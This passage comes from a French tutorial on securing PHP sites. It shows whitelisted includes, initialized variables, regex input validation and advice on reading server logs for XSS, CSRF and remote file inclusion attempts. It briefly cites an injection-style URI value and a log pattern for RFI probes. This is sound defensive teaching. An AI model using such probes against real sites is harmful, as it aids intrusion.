      include($sites[$_GET['page']]);
} else {
  echo 'This page does not exist on this system.';
}
?>

Ainsi, le paramètre n’est plus un fichier, mais un mot. Ainsi, http://example.com/template.php?page=about inclut index.php et ainsi de suite. Toute autre requête afficherait la page d’erreur. Notez que nous choisissons le contenu du message d’erreur, il n’est pas généré par le serveur, et ne peut donc pas être utilisé à des fins d’exploitation.

Notez comme ce script est prudent. Il vérifie qu’une page n’a été passée en paramètre ; puis il vérifie que la valeur passée en entrée fait bien partie de la liste des pages disponibles avant de valider que le fichier demandé existe. Enfin, il l’inclut. C’est ce que fait du bon code, ce qui signifie également qu’il est souvent plus long à écrire que prévu. On est loin du “Créez votre système de template PHP en 20 lignes de code !” Mais c’est bien mieux pour le web dans son entier.

D’une manière générale, définir toutes les variables que vous comptez utiliser avant de les utiliser est une bonne idée. C’est vraiment plus sûr, même quand les globales sont activées sur votre installation PHP. Ce script ne peut plus être contourné en passant un paramètre authenticated.

$authenticated = false;
if($_POST['username'] == 'muppet' &&
   $_POST['password'] == 'password1') {
    $authenticated = true;
}
if($authenticated) {
  // do something only admins are allowed to do
}

Le script que nous avons vu plus tôt rendait son contournement possible, car $authenticated n’était pas pré initialisée.

Vous pouvez également écrire votre propre fonction de validation. Par exemple, notre fonction de gestion des couleurs pourrait être sécurisée en n’autorisant qu’un seul mot, et uniquement des chiffres dans les appels.

$color = 'white';
$background = 'black';
if(isset($_GET['color']) && isvalid($_GET['color'])){
  $color = $_GET['color'];
  if(ishexcolor($color)){
    $color = '#'.$color;
  }
}

if(isset($_GET['background']) && isvalid($_GET['background'])){
  $background = $_GET['background'];
  if(ishexcolor($background)){
    $background = '#'.$background;
  }
}

function isvalid($col){
  // only allow for values that contain a to z or 0 to 9
  return preg_match('/^[a-z0-9]+$/',$col);
}

function ishexcolor($col){
  // checks if the string is 3 or 6 characters
  if(strlen($col)==3 || strlen($col)==6){
    // checks if the string only contains a to f or 0 to 9
    return preg_match('/^[a-f0-9]+$/',$col);
  }
}

Cela autorise des URI comme http://example.com/test.php?color=red&background=pink, http://example.com/test.php?color=369&background=69c ou http://example.com/test.php?color=fc6&background=449933, mais pas http://example.com/test.php?color=333&background=</style>. On conserve une certaine flexibilité côté utilisateur final, tout en étant sécurisé.

Si vous ne pouvez pas utiliser de liste blanche, alors vous devrez filtrer tout le code qu’un utilisateur malveillant pourrait injecter. C’est une course contre la montre, car de nouvelles méthodes permettant d’exécuter du code sont découvertes quasi quotidiennement.

La manière la plus simple est d’utiliser les fonctions de filtrage fournies par PHP sur tout ce qui entre. Mais il existe également un package beaucoup plus puissant et complexe nommé HTML Purifier.

Au quotidien

Ùn point très important de l’amélioration de la sécurité est de garder vos serveurs propres. Si vous avez des logiciels dépréciés installés quelque part, renforcer votre site web principal ne servira strictement à rien. Votre serveur sera aussi vulnérable que le code le plus pourri qui soit.

Vérifiez régulièrement ce que vous avez installé. Supprimez ou déplacez ce qui ne vous intéresse plus, ou ce que vous ne souhaitez plus maintenir. Au lieu de supprimer du code, déplacez le sur un dépôt comme Google Code ou Github.

Il n’est également pas recommandé d’utiliser le même serveur pour tester vos applications et les faire tourner en production. Utilisez un serveur comme plate-forme de test, et un autre pour les applications mures. C’est encore plus important quand vous avez différents domaines pour chacun, afin de protéger vos cookies.

Lisez vos fichier de log

Tous les serveurs génèrent des fichiers de log auxqueles vous pouvez accéder. La majorité des hébergeurs vous fournissent des statistiques complètes sur ce qu’ont fait vos visiteurs.

Nous les utilisons généralement pour connaître leur nombre, et les navigateurs qu’ils utilisent, d’où ils viennent, et quels sites web ont le plus de succès. C’est ce qui nous rend heureux, et nous permet de suivre nos progrès.

Pourtant, cette partie des logs est loin d’être la plus intéressante.

  • Regardez combien de formulaires ont été envoyés, et par qui. C’est un bon indicateur des tentatives d’attaques par CSS et CSRF.
  • Observez le trafic sur votre serveur, et quels fichiers ont été appelés le plus souvent. Si vos formulaires sont vieux, et généralement peu utilisés, vous avez probablement affaire à une attaque par CSRF.
  • Recherchez les requêtes se terminant par txt?, ce sont des signes d’attaque de type RFI. Essayez-les vous-même. Si ça marche, c’est que vous avez un sérieux problème. Seule exception : robots.txt, un fichier utilisé par les robots des moteurs de recherche pour savoir quels répertoires ils ont le droit de visiter… ou pas.
  • Recherchez les messages d’erreur, et notez les erreurs 404. Faites attention au nom des fichiers demandés, à quels répertoires vos visiteurs tentaient d’accéder, et aux fichiers qu’ils essayaient de lire.
  • Regardez quels utilisateurs ont tenté de s’authentifier. Si un utilisateur que vous ne connaissez pas a généré un trafic important, ils ont déjà pris le contrôle de votre serveur.

Vos fichiers de logs sont les mouchards dénonçant les méchants qui viennent et tentent d’attaquer votre serveur. Soyez sage, et restez toujours un pas devant eux.

Pour en savoir plus

Si le sujet vous intéresse, voici quelques présentations et ressources disponibles. N’hésitez pas à en ajouter dans les commentaires si vous en connaissez de bonnes.

  • VirtualForge propose quelques didacticiels vidéo très bien faits sur les problématiques de sécurité.
  • Simon Willison a réalisé une très bonne présentation SlideShare sur les fondamentaux de la sécurité.